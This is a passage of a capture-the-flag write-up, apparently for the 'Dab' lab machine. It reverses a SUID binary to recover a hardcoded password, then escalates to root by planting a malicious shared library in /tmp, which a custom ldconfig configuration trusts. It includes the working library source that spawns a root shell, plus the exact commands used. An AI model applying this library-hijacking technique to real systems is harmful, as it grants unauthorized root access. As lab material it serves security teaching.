0x004006e0 1 6 sym.imp.printf
0x004006f0 1 6 sym.imp.seclogin
0x00400700 1 6 sym.imp.__libc_start_main
0x00400710 1 6 sym.imp.strcmp
0x00400720 1 6 sym.imp.__isoc99_scanf
0x00400730 1 6 sub.__gmon_start_730
0x00400740 1 41 entry0
0x00400770 4 50 -> 41 sym.deregister_tm_clones
0x004007b0 4 58 -> 55 sym.register_tm_clones
0x004007f0 3 28 sym.__do_global_dtors_aux
0x00400810 4 38 -> 35 entry1.init
0x00400836 6 173 main
0x004008f0 4 101 sym.__libc_csu_init
0x00400960 1 2 sym.__libc_csu_fini
0x00400964 1 9 sym._fini
[0x00400740]> pdf @ main
/ (fcn) main 173
| main (int argc, char **argv, char **envp);
| ; var unsigned int local_64h @ rbp-0x64
| ; var char *s1 @ rbp-0x60
| ; var int local_58h @ rbp-0x58
| ; var char *s2 @ rbp-0x50
| ; var int canary @ rbp-0x8
| ; DATA XREF from entry0 (0x40075d)
| 0x00400836 55 push rbp
| 0x00400837 4889e5 mov rbp, rsp
| 0x0040083a 4883ec70 sub rsp, 0x70 ; 'p'
| 0x0040083e 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
| 0x00400847 488945f8 mov qword [canary], rax
| 0x0040084b 31c0 xor eax, eax
| 0x0040084d 48b873336375. movabs rax, 0x306c337275633373 ; 's3cur3l0'
| 0x00400857 488945a0 mov qword [s1], rax
| 0x0040085b c745a867316e. mov dword [local_58h], 0x6e3167 ; 'g1n'
| 0x00400862 bf74094000 mov edi, str.Enter_password: ; 0x400974 ; "Enter password: " ; const char *format
| 0x00400867 b800000000 mov eax, 0
| 0x0040086c e86ffeffff call sym.imp.printf ; int printf(const char *format)
| 0x00400871 488d45b0 lea rax, qword [s2]
| 0x00400875 4889c6 mov rsi, rax
| 0x00400878 bf85094000 mov edi, str.63s ; 0x400985 ; "%63s" ; const char *format
| 0x0040087d b800000000 mov eax, 0
| 0x00400882 e899feffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
| 0x00400887 488d55b0 lea rdx, qword [s2]
| 0x0040088b 488d45a0 lea rax, qword [s1]
| 0x0040088f 4889d6 mov rsi, rdx ; const char *s2
| 0x00400892 4889c7 mov rdi, rax ; const char *s1
| 0x00400895 e876feffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
| 0x0040089a 89459c mov dword [local_64h], eax
| 0x0040089d 837d9c00 cmp dword [local_64h], 0
| ,=< 0x004008a1 7411 je 0x4008b4
| | 0x004008a3 bf8a094000 mov edi, str.Invalid_password ; 0x40098a ; "Invalid password\n" ; const char *s
| | 0x004008a8 e813feffff call sym.imp.puts ; int puts(const char *s)
| | 0x004008ad b801000000 mov eax, 1
| ,==< 0x004008b2 eb19 jmp 0x4008cd
| || ; CODE XREF from main (0x4008a1)
| |`-> 0x004008b4 bf9c094000 mov edi, str.Password_is_correct ; 0x40099c ; "Password is correct\n" ; const char *s
| | 0x004008b9 e802feffff call sym.imp.puts ; int puts(const char *s)
| | 0x004008be b800000000 mov eax, 0
| | 0x004008c3 e828feffff call sym.imp.seclogin
| | 0x004008c8 b800000000 mov eax, 0
| | ; CODE XREF from main (0x4008b2)
| `--> 0x004008cd 488b4df8 mov rcx, qword [canary]
| 0x004008d1 6448330c2528. xor rcx, qword fs:[0x28]
| ,=< 0x004008da 7405 je 0x4008e1
| | 0x004008dc e8effdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; CODE XREF from main (0x4008da)
| `-> 0x004008e1 c9 leave
\ 0x004008e2 c3 ret
[0x00400740]>
At first the string "Enter password: "
is printed:
| 0x00400862 bf74094000 mov edi, str.Enter_password: ; 0x400974 ; "Enter password: " ; const char *format
| 0x00400867 b800000000 mov eax, 0
| 0x0040086c e86ffeffff call sym.imp.printf ; int printf(const char *format)
Then a string with a maximum length of 63 bytes is read from stdin:
| 0x00400878 bf85094000 mov edi, str.63s ; 0x400985 ; "%63s" ; const char *format
| 0x0040087d b800000000 mov eax, 0
| 0x00400882 e899feffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
After this the entered string (stored in s2
) is compared to a string stored in s1
:
| 0x00400887 488d55b0 lea rdx, qword [s2]
| 0x0040088b 488d45a0 lea rax, qword [s1]
| 0x0040088f 4889d6 mov rsi, rdx ; const char *s2
| 0x00400892 4889c7 mov rdi, rax ; const char *s1
| 0x00400895 e876feffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
If the strings are not equal, "Invalid password"
is printed:
| | 0x004008a3 bf8a094000 mov edi, str.Invalid_password ; 0x40098a ; "Invalid password\n" ; const char *s
| | 0x004008a8 e813feffff call sym.imp.puts ; int puts(const char *s)
I
If the strings are equal, "Password is correct"
is printed and the function seclogin
is called:
| |`-> 0x004008b4 bf9c094000 mov edi, str.Password_is_correct ; 0x40099c ; "Password is correct\n" ; const char *s
| | 0x004008b9 e802feffff call sym.imp.puts ; int puts(const char *s)
| | 0x004008be b800000000 mov eax, 0
| | 0x004008c3 e828feffff call sym.imp.seclogin
libseclogin.so
The function seclogin
is defined in an additional shared library:
genevieve@dab:~$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc4b767000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007fa492368000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa491f9e000)
/lib64/ld-linux-x86-64.so.2 (0x00007fa49256a000)
We download this shared library to our attacker machine, too:
root@kali:~/Documents/htb/boxes/dab# scp genevieve@10.10.10.86:/usr/lib/libseclogin.so .
genevieve@10.10.10.86's password:
libseclogin.so 100% 8120 384.8KB/s 00:00
And disassemble the function using radare2
:
root@kali:~/Documents/htb/boxes/dab# r2 -A libseclogin.so
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x000005a0]> afl
0x00000000 4 67 -> 68 sym.imp.__cxa_finalize
0x00000548 3 26 sym._init
0x00000580 1 6 sym.imp.puts
0x00000590 1 6 sub.__gmon_start_590
0x00000598 1 6 sub.__cxa_finalize_598
0x000005a0 4 50 -> 44 entry0
0x000005e0 4 66 -> 57 sym.register_tm_clones
0x00000630 5 50 sym.__do_global_dtors_aux
0x00000670 4 48 -> 42 entry1.init
0x000006a0 1 35 sym.seclogin
0x000006c4 1 9 sym._fini
[0x000005a0]> pdf @ sym.seclogin
/ (fcn) sym.seclogin 35
| sym.seclogin ();
| 0x000006a0 55 push rbp
| 0x000006a1 4889e5 mov rbp, rsp
| 0x000006a4 488d3d250000. lea rdi, qword str.seclogin___called ; section..rodata ; 0x6d0 ; "seclogin() called" ; const char *s
| 0x000006ab e8d0feffff call sym.imp.puts ; int puts(const char *s)
| 0x000006b0 488d3d310000. lea rdi, qword str.TODO:_Placeholder_for_now__function_not_implemented_yet ; 0x6e8 ; "TODO: Placeholder for now, function not implemented yet" ; const char *s
| 0x000006b7 e8c4feffff call sym.imp.puts ; int puts(const char *s)
| 0x000006bc b800000000 mov eax, 0
| 0x000006c1 5d pop rbp
\ 0x000006c2 c3 ret
The function merely prints the string "TODO: Placeholder for now, function not implemented yet"
.
Since the myexec
binary has the SUID bit enabled, the function is called with root privileges. If we find a way to replace it with our own code, we get root access.
myexec’s password
At first we need to determine the password, which must be entered to call the function seclogin
. This can be done by statically analyzing the disassembly (reversing) or by simply debugging it dynamically setting a breakpoint on the strcmp
call. Let’s start with the static approach and review the disassembly of the main
function:
| 0x0040084d 48b873336375. movabs rax, 0x306c337275633373 ; 's3cur3l0'
| 0x00400857 488945a0 mov qword [s1], rax
| 0x0040085b c745a867316e. mov dword [local_58h], 0x6e3167 ; 'g1n'
We already know, that the string we enter is stored in s2
and that this string is compared to s1
. In the above disassmbly, we see what s1
is set to. The first 8 bytes are set to "s3cur3l0"
as radare2 already displays at the right side beneath the movabs
instruction. The address local_58h
is right behind those 8 bytes, where the additional 3 bytes "g1n"
are stored. Thus the whole string stored in s1
simply is: "s3cur3l0g1n"
.
This was not that complicated, but just for the sake of completeness let’s also do the dynamic approach using gdb
. In order to grant gdb
access to the shared library we must first set the environment variable LD_LIBRARY_PATH
to our current directory, where the shared library is stored:
root@kali:~/Documents/htb/boxes/dab# gdb ./myexec
GNU gdb (Debian 8.1-4+b1) 8.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./myexec...(no debugging symbols found)...done.
gdb-peda$ set env LD_LIBRARY_PATH .
gdb-peda$
Then we can simply set a breakpoint on the call to strcmp
, run the program and enter something for the password:
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0000000000400836 <+0>: push rbp
0x0000000000400837 <+1>: mov rbp,rsp
0x000000000040083a <+4>: sub rsp,0x70
0x000000000040083e <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000400847 <+17>: mov QWORD PTR [rbp-0x8],rax
0x000000000040084b <+21>: xor eax,eax
0x000000000040084d <+23>: movabs rax,0x306c337275633373
0x0000000000400857 <+33>: mov QWORD PTR [rbp-0x60],rax
0x000000000040085b <+37>: mov DWORD PTR [rbp-0x58],0x6e3167
0x0000000000400862 <+44>: mov edi,0x400974
0x0000000000400867 <+49>: mov eax,0x0
0x000000000040086c <+54>: call 0x4006e0 <printf@plt>
0x0000000000400871 <+59>: lea rax,[rbp-0x50]
0x0000000000400875 <+63>: mov rsi,rax
0x0000000000400878 <+66>: mov edi,0x400985
0x000000000040087d <+71>: mov eax,0x0
0x0000000000400882 <+76>: call 0x400720 <__isoc99_scanf@plt>
0x0000000000400887 <+81>: lea rdx,[rbp-0x50]
0x000000000040088b <+85>: lea rax,[rbp-0x60]
0x000000000040088f <+89>: mov rsi,rdx
0x0000000000400892 <+92>: mov rdi,rax
0x0000000000400895 <+95>: call 0x400710 <strcmp@plt>
0x000000000040089a <+100>: mov DWORD PTR [rbp-0x64],eax
0x000000000040089d <+103>: cmp DWORD PTR [rbp-0x64],0x0
0x00000000004008a1 <+107>: je 0x4008b4 <main+126>
0x00000000004008a3 <+109>: mov edi,0x40098a
0x00000000004008a8 <+114>: call 0x4006c0 <puts@plt>
0x00000000004008ad <+119>: mov eax,0x1
0x00000000004008b2 <+124>: jmp 0x4008cd <main+151>
0x00000000004008b4 <+126>: mov edi,0x40099c
0x00000000004008b9 <+131>: call 0x4006c0 <puts@plt>
0x00000000004008be <+136>: mov eax,0x0
0x00000000004008c3 <+141>: call 0x4006f0 <seclogin@plt>
0x00000000004008c8 <+146>: mov eax,0x0
0x00000000004008cd <+151>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000004008d1 <+155>: xor rcx,QWORD PTR fs:0x28
0x00000000004008da <+164>: je 0x4008e1 <main+171>
0x00000000004008dc <+166>: call 0x4006d0 <__stack_chk_fail@plt>
0x00000000004008e1 <+171>: leave
0x00000000004008e2 <+172>: ret
End of assembler dump.
gdb-peda$ b *main+95
Breakpoint 1 at 0x400895
gdb-peda$ r
Starting program: /root/Documents/htb/boxes/dab/myexec
Enter password: test
[----------------------------------registers-----------------------------------]
RAX: 0x7fff8b3fa420 ("s3cur3l0g1n")
RBX: 0x0
RCX: 0x0
RDX: 0x7fff8b3fa430 --> 0x74736574 ('test')
RSI: 0x7fff8b3fa430 --> 0x74736574 ('test')
RDI: 0x7fff8b3fa420 ("s3cur3l0g1n")
RBP: 0x7fff8b3fa480 --> 0x4008f0 (<__libc_csu_init>: push r15)
RSP: 0x7fff8b3fa410 --> 0x0
RIP: 0x400895 (<main+95>: call 0x400710 <strcmp@plt>)
R8 : 0x0
R9 : 0xa ('\n')
R10: 0x0
R11: 0x246
R12: 0x400740 (<_start>: xor ebp,ebp)
R13: 0x7fff8b3fa560 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40088b <main+85>: lea rax,[rbp-0x60]
0x40088f <main+89>: mov rsi,rdx
0x400892 <main+92>: mov rdi,rax
=> 0x400895 <main+95>: call 0x400710 <strcmp@plt>
0x40089a <main+100>: mov DWORD PTR [rbp-0x64],eax
0x40089d <main+103>: cmp DWORD PTR [rbp-0x64],0x0
0x4008a1 <main+107>: je 0x4008b4 <main+126>
0x4008a3 <main+109>: mov edi,0x40098a
Guessed arguments:
arg[0]: 0x7fff8b3fa420 ("s3cur3l0g1n")
arg[1]: 0x7fff8b3fa430 --> 0x74736574 ('test')
arg[2]: 0x7fff8b3fa430 --> 0x74736574 ('test')
[------------------------------------stack-------------------------------------]
0000| 0x7fff8b3fa410 --> 0x0
0008| 0x7fff8b3fa418 --> 0x0
0016| 0x7fff8b3fa420 ("s3cur3l0g1n")
0024| 0x7fff8b3fa428 --> 0x6e3167 ('g1n')
0032| 0x7fff8b3fa430 --> 0x74736574 ('test')
0040| 0x7fff8b3fa438 --> 0x0
0048| 0x7fff8b3fa440 --> 0x1
0056| 0x7fff8b3fa448 --> 0x40093d (<__libc_csu_init+77>: add rbx,0x1)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0000000000400895 in main ()
gdb-peda$
As we can see in the arguments, the string which is compared to our input is "s3cur3l0g1n"
.
Now we can verify the password on the target machine:
genevieve@dab:~$ myexec
Enter password: s3cur3l0g1n
Password is correct
seclogin() called
TODO: Placeholder for now, function not implemented yet
The password is actually working and the function seclogin
is called printing the TODO message.
ldconfig
Our next task is to somehow replace this function with our own one. How can we do this? We have already noticed that the SUID bit of ldconfig
is set. Let’s have a look at the manpage of ldconfig
:
LDCONFIG(8) Linux Programmer's Manual LDCONFIG(8)
NAME
ldconfig - configure dynamic linker run-time bindings
SYNOPSIS
/sbin/ldconfig [ -nNvXV ] [ -f conf ] [ -C cache ] [ -r root ] directory ...
/sbin/ldconfig -l [ -v ] library ...
/sbin/ldconfig -p
DESCRIPTION
ldconfig creates the necessary links and cache to the most recent shared libraries found
in the directories specified on the command line, in the file /etc/ld.so.conf, and in the
trusted directories, /lib and /usr/lib (on some 64-bit architectures such as x86-64, lib
and /usr/lib are the trusted directories for 32-bit libraries, while /lib64 and /usr/lib64
are used for 64-bit libraries).
...
So ldconfig
is actually responsible for determining which shared library is used. The man page also states that the file /etc/ld.so.conf
is used to specify directories for shared libraries. Let’s have a look at this file:
genevieve@dab:~$ cat /etc/ld.so.conf
include /etc/ld.so.conf.d/*.conf
genevieve@dab:~$ ls -al /etc/ld.so.conf.d/*.conf
-rw-rw-r-- 1 root root 38 Nov 24 2014 /etc/ld.so.conf.d/fakeroot-x86_64-linux-gnu.conf
-rw-r--r-- 1 root root 44 Jan 27 2016 /etc/ld.so.conf.d/libc.conf
-rw-r--r-- 1 root root 5 Mar 25 2018 /etc/ld.so.conf.d/test.conf
-rw-r--r-- 1 root root 68 Apr 14 2016 /etc/ld.so.conf.d/x86_64-linux-gnu.conf
The file itself only includes all *.conf
files within /etc/ld.so.conf.d/
. In this directory is a file called test.conf
which surely is no default file:
genevieve@dab:~$ cat /etc/ld.so.conf.d/test.conf
/tmp
The file contains the directory /tmp
which means that ldconfig
is caching libraries stored in /tmp
! Since we can write to /tmp
we can store our own shared library there, run ldconfig
and then execute myexec
again. This time it will load our library and run our own code.
Compile own shared Library
Since gcc
is on the target machine, we can compile a shared library directly on it:
genevieve@dab:/tmp/.tmp$ cat libseclogin.c
#include <stdlib.h>
#include <unistd.h>
void seclogin(void) {
setgid(0);
setuid(0);
system("/bin/sh");
}
genevieve@dab:/tmp/.tmp$ gcc -c -fpic libseclogin.c
genevieve@dab:/tmp/.tmp$ gcc -shared -o libseclogin.so libseclogin.o
The file libseclogin.c
only contains the single function seclogin
, which calls system
to spawn a shell. Beforehand setgid
and setuid
is called with the argument 0 to set the GID
and UID
, as we otherwise would only spawn a shell as our current user. This file needs to be compiled as position indepedent code (option -fpic
) and then linked to a shared library using the option -shared
.
Now we can copy our shared library to /tmp
, run ldconfig
to cache our library and then run myexec
:
genevieve@dab:/tmp/.tmp$ mv libseclogin.so /tmp
genevieve@dab:/tmp/.tmp$ ldconfig
genevieve@dab:/tmp/.tmp$ myexec
Enter password: s3cur3l0g1n
Password is correct
# id
uid=0(root) gid=0(root) groups=0(root),1000(genevieve)
# cat /root/root.txt
45cd...
We successfully spawned a shell as root and can read the flag file root.txt
🙂
That’s it. Thanks for reading the article.